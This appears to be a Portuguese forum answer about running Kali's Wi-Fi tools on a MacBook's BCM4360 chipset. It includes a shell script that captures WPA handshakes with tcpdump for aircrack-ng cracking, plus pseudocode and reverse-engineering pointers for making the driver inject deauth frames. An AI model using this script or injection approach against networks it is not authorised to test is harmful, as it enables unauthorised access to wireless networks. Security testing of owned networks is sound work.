É verdade que o driver b43 não suporta o BCM4360 (14e4: 43a0).
No entanto, o driver proprietário da Broadcom suporta esse chipset. Está no pacote de drivers broadcom-sta-dkms
disponível no repositório não-livre do Debian Wheezy.
Um usuário do Kali teve sucesso com este pacote para outro chipset BCM. Se funcionar, você poderá modificar sua imagem ao vivo do Kali para incluí-la.
Caso contrário, ainda é possível usar o aircrack-ng no Kali, se os pacotes de handshake forem capturados pela primeira vez no Mac OS X usando tcpdump
. Aqui está um script de shell que captura um handshake WPA em um MacBook Air, testado no OS X 10.11 (El Capitan):
#!/bin/sh
function usage() {
echo "usage: $(basename $0) <essid>"; exit
}
if [[ ! $(id -u) -eq 0 ]]; then echo "Must be run as root."; exit; fi
if [[ -z "$1" ]]; then usage; fi
echo "Scanning for access point..."
apbin=/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
aplist=$($apbin -s)
matchct=$(echo "$aplist" | grep "$1" | wc -l)
if [[ ! "$matchct" -eq 1 ]]; then echo "Bad essid"; usage; fi
echo "Found $bssid."
essid=$(echo "$aplist" | grep "$1" | awk '{print $1;}')
bssid=$(echo "$aplist" | grep "$1" | awk '{print $2;}')
chan=$(echo "$aplist" | grep "$1" | awk '{print $4;}' | cut -d, -f 1)
capfl="$essid.cap"
if [[ -f "$capfl" ]]; then
read -p "'$capfl' exists. Overwrite? [y/N] " ow
case $ow in
[nN][oO]|'')
echo "Canceled"
exit
;;
*)
rm -f "$capfl"
;;
esac
fi
echo "Dissociating airport and tuning to channel $chan..."
$apbin -z -c $chan &>/dev/null
echo "Waiting for handshake packets..."
tcpdump "(type mgt subtype assocreq or ether proto 0x888e) and ether host $bssid" -U -i en0 -I -c 5 -w $capfl &>/dev/null
echo "Exiting."
echo "You may try running:"
echo "aircrack-ng -w $capfl"
(Se você deseja executar o aircrack-ng no Mac OS X, pode instalá-lo via Homebrew usando brew install aircrack-ng
.)
Se ainda não for suportado, acho que deve ser possível corrigir esse driver (no Linux e Mac) para enviar quadros deauth arbitrários e dar suporte à injeção geral de pacotes.
O driver binário da Apple é baseado no driver Broadcom proprietário usado no Linux; ou seja, eles compartilham as mesmas rotinas principais, incluindo esta, no pseudocódigo simplificado:
wlc_senddeauth(ctx, arg2, arg3, arg4, arg5, arg6) {
int err, len, mi;
int temp_out;
len = wlc_iem_calc_len(*(ctx+0x858), arg2, 0xc0, 0, 0);
mi = wlc_frame_get_mgmt_int(ctx, 0xc0, arg4, arg6, 0, len+2, &temp_out, 0);
if (mi) {
err = wlc_iem_build_frame(*(ctx+0x858, arg2, 0xc0, 0, 0, 2, len);
assert(err == 0);
temp = arg3 ? *(arg3+0x20) : 0;
err = wlc_queue_80211_frag(ctx, mi, *(*(arg2+0x10)+0x18), arg3, temp, 0, 0, 0)
assert(err == 0);
}
}
Eu acho que você pode fazer a engenharia reversa wlc_queue_80211_frag
dos parâmetros usando a AirPort_Brcm4360
árvore de chamadas da classe C ++ no binário de driver da Apple, localizado em:
/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AirPortBrcm4360.kext/Contents/MacOS/AirPortBrcm4360
echo "aircrack-ng -w <dictionary> $capfl"